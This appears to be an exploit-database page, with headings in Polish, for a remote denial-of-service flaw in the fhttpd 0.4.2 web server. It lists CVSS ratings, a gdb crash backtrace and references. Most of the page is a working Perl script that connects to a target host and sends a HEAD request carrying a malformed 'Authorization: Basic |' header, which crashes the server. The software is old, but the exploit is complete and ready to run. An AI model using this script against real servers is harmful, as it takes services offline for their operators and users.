fhttpd 0.4.2 un64() Remote Denial of Service Exploit

2009-08-23 / 2009-08-24
Credit: Jeremy Brown
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Brak
Wpływ na dostępność: Częściowy

#!/usr/bin/perl #Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] #http://www.fhttpd.org / fhttpd-0.4.2.tar.gz (WARNING: VERY OLD) #Program received signal SIGSEGV, Segmentation fault. #0x0804b42d in un64 (s=0x809b2d2 "") at util.cc:69 #69 if(c2!=-2) c3=rptr[3]; else c3=-2; #(gdb) bt #0 0x0804b42d in un64 (s=0x809b2d2 "") at util.cc:69 #1 0x080672bf in ControlFTPServerApp::process_get_line (this=0x8089678, #fhttpd.cc:2044 #3 0x08060190 in Wheel::onepass (this=0x8081338) at sockobj.cc:1953 #4 0x08073c14 in main (argc=1, argv=0xbffff464, env=0xbffff46c) at fhttpd.cc:3645 #One of the near useless bugs found by my fuzzer with http fuzz capabilities # Crashes with { } | [ ] \ ; : ' " < > ? , . OR with just a space after Basic: use IO::Socket; if(@ARGV < 1) { print "\nUsage: host\n\n"; exit(1); } $host = $ARGV[0]; $port = 80; $sock = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host, PeerPort=>$port) or die "\nError: socket\n\n"; print $sock "HEAD / HTTP/1.1\r\nAuthorization: Basic |\r\n\r\n"; close($sock);

Referencje:

http://xforce.iss.net/xforce/xfdb/45278
http://www.securityfocus.com/bid/31265
http://www.milw0rm.com/exploits/6493


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